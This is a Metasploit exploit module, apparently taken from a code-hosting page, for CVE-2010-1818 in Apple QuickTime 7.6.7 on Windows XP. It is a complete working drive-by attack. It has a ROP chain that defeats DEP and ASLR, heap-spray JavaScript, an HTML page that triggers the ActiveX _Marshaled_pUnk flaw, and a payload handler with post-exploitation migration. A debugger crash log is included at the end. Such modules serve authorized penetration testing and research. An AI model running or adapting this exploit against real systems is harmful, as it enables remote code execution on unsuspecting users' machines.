Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::Seh
11

12
  #include Msf::Exploit::Remote::BrowserAutopwn
13
  #autopwn_info({
14
  #  :os_name => OperatingSystems::Match::WINDOWS,
15
  #  :ua_name    => HttpClients::IE,
16
  #  :javascript => true,
17
  #  :rank       => NormalRanking, # reliable memory corruption
18
  #})
19

20
  def initialize(info = {})
21
    super(update_info(info,
22
      'Name'           => 'Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution',
23
      'Description'    => %q{
24
          This module exploits a memory trust issue in Apple QuickTime
25
        7.6.7. When processing a specially-crafted HTML page, the QuickTime ActiveX
26
        control will treat a supplied parameter as a trusted pointer. It will
27
        then use it as a COM-type pUnknown and lead to arbitrary code execution.
28

29
        This exploit utilizes a combination of heap spraying and the
30
        QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module does not
31
        opt-in to ASLR. As such, this module should be reliable on all Windows
32
        versions.
33

34
        NOTE: The addresses may need to be adjusted for older versions of QuickTime.
35
      },
36
      'Author'         =>
37
        [
38
          'Ruben Santemarta',  # original discovery
39
          'jduck'              # Metasploit module
40
        ],
41
      'License'        => MSF_LICENSE,
42
      'References'     =>
43
        [
44
          [ 'CVE', '2010-1818' ],
45
          [ 'OSVDB', '67705'],
46
          [ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1' ]
47
        ],
48
      'DefaultOptions' =>
49
        {
50
          'EXITFUNC' => 'thread',
51
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
52
        },
53
      'Payload'        =>
54
        {
55
          'Space'    => 384, # perhaps more?
56
          'BadChars' => "",  # none...
57
          'DisableNops' => true,
58
          'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov esp,ebp").encode_string, # fix esp up
59
        },
60
      'Platform' => 'win',
61
      'Targets'  =>
62
        [
63
          # Tested OK:
64
          #
65
          # QT 7.6.6 + XP SP3 + IE8
66
          # QT 7.6.7 + XP SP3 + IE6
67
          #
68

69
          # @eromang reports it doesn't work on 7.6.5
70
          # - further investigation shows QuickTimeAuthoring.qtx changed / rop gadgets different
71

72
          # QuickTimeAuthoring.qtx 7.6.7 is compiled w/DYNAMIC_BASE, so win7 is :(
73

74
          [ 'Apple QuickTime Player 7.6.6 and 7.6.7 on Windows XP SP3',
75
            {
76
              'Ret' => 0x677a0000, # base of QuickTimeAuthoring.qtx
77
              #'Ret' => 0x67780000, # base of QuickTimeAuthoring.qtx v7.6.5
78
            }
79
          ],
80
        ],
81
      'Privileged'     => false,
82
      'DisclosureDate' => '2010-08-30',
83
      'DefaultTarget'  => 0))
84
  end
85

86
  def on_request_uri(client, request)
87

88
    return if ((p = regenerate_payload(client)) == nil)
89

90
    print_status("Sending exploit HTML...")
91

92
    shellcode = Rex::Text.to_unescape(p.encoded)
93

94
    # We will spray to this address, hopefully
95
    spray_target = 0x15220c20
96

97
    # This is where our happy little dll is loaded
98
    # 677a0000 679ce000   QuickTimeAuthoring C:\Program Files\QuickTime\QTSystem\QuickTimeAuthoring.qtx
99
    rop_mod_base = target.ret
100

101
    sploit = [
102
      spray_target - 8,
103

104
      # This first piece of code points the stack pointer to our data!
105
      # NOTE: eax, ecx, and esi all point to our spray at this point.
106
      rop_mod_base + 0x79c12, # xchg eax,esp / pop edi / pop esi / ret
107

108
      # The second one becomes the new program counter after stack flip.
109
      rop_mod_base + 0x1e27,       # pop ecx / ret
110
        rop_mod_base + 0x170088,  # the IAT addr for HeapCreate (becomes ecx)
111

112
      # We get the address of HeapCreate from the IAT here.
113
      rop_mod_base + 0x10244, # mov eax,[ecx] / ret
114

115
      # Call HeapCreate to create the k-rad segment
116
      rop_mod_base + 0x509e, # call eax
117
        0x01040110, # flOptions (gets & with 0x40005)
118
        0x01010101, # dwInitialSize
119
        0x01010101, # dwMaximumSize
120

121
      # Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
122

123
      # Set ebx to our adjustment
124
      rop_mod_base + 0x307a, # pop ebx / ret
125
        0x8000, # becomes ebx
126

127
      # Adjust eax
128
      rop_mod_base + 0xbfb5b, # add eax,ebx / ret
129

130
      # Save our buffer pointer off to this address
131
      rop_mod_base + 0x1e27,       # pop ecx / ret
132
        rop_mod_base + 0x2062d4,  # something writable
133

134
      # Write eax to the address
135
      rop_mod_base + 0x8fd6, # mov [ecx], eax / ret
136

137
      # Now we must copy our real payload into the buffer
138

139
      # First, setup edi
140
      rop_mod_base + 0x134fd5, # xchg eax,edi / ret
141

142
      # Get ESI from EDI (which is now in EAX)
143
      rop_mod_base + 0x103ff8, # push eax / pop esi / pop ebx / ret
144
        0x41414141, # scratch (becomes ebx)
145

146
      # Set ECX from the stack
147
      rop_mod_base + 0x1e27,       # pop ecx / ret
148
        0x200 / 4, # dwords to copy :)
149

150
      # copy it!
151
      rop_mod_base + 0x778d2, # rep movsd / pop edi / pop esi / ret
152
        0x41414141, # scratch (becomes edi)
153
        0x41414141, # scratch (becomes esi)
154

155
      # Re-load the buffer pointer address
156
      rop_mod_base + 0x1e27,       # pop ecx / ret
157
        rop_mod_base + 0x2062d4,  # something writable
158

159
      # And the pointer value itself
160
      rop_mod_base + 0x10244, # mov eax,[ecx] / ret
161

162
      # Set ebx to our adjustment
163
      rop_mod_base + 0x307a, # pop ebx / ret
164
        0x42424242, # will be filled after array init
165

166
      # Adjust eax
167
      rop_mod_base + 0xbfb5b, # add eax,ebx / ret
168

169
      # Jump!
170
      rop_mod_base + 0x509e,  # call eax
171

172
      # eh? Hopefull we didn't reach here.
173
      0xdeadbeef
174
    ]
175
    sploit[27] = 8 + (sploit.length * 4)
176
    sploit = sploit.pack('V*')
177
    sploit << p.encoded
178
    sploit = Rex::Text.to_unescape(sploit)
179

180
    custom_js = <<-EOF
181
function Prepare()
182
{
183
  var block = unescape("#{sploit}");
184
  while(block.length < 0x200)
185
    block += unescape("%u0000");
186
  heap = new heapLib.ie(0x20000);
187
  while(block.length < 0x80000)
188
    block += block;
189
  finalspray = block.substring(2, 0x80000 - 0x21);
190
  for(var i = 0; i < 350; i++)
191
  {
192
  heap.alloc(finalspray);
193
  }
194
}
195

196
function start()
197
{
198
  var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
199
    + '</'+ 'object>';
200
  document.getElementById('stb').innerHTML = obj;
201
  Prepare();
202
  var targ = #{spray_target};
203
  var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'
204
    + '<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'
205
    + '</'+ 'object>';
206
  document.getElementById('xpl').innerHTML = obj;
207
}
208
EOF
209

210
    hl_js = heaplib(custom_js)
211

212
    content = <<-EOF
213
<html>
214
<head>
215
<script language="javascript">
216
#{hl_js}
217
</script>
218
</head>
219
<body onload="start()">
220
<div id="stb"></div>
221
<div id="xpl"></div>
222
</body>
223
</html>
224
EOF
225

226
    # ..
227
    send_response(client, content, { 'Content-Type' => "text/html" })
228

229
    # Handle the payload
230
    handler(client)
231
  end
232
end
233

234

235
=begin
236
(7fc.a4): Access violation - code c0000005 (first chance)
237
First chance exceptions are reported before any exception handling.
238
This exception may be expected and handled.
239
eax=15220c20 ebx=00134ca8 ecx=15220c18 edx=00134b98 esi=15220c20 edi=00134bfc
240
eip=deadbe01 esp=00134b7c ebp=00134b90 iopl=0         nv up ei pl nz na po nc
241
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
242
deadbe01 ??              ???
243
=end
244

245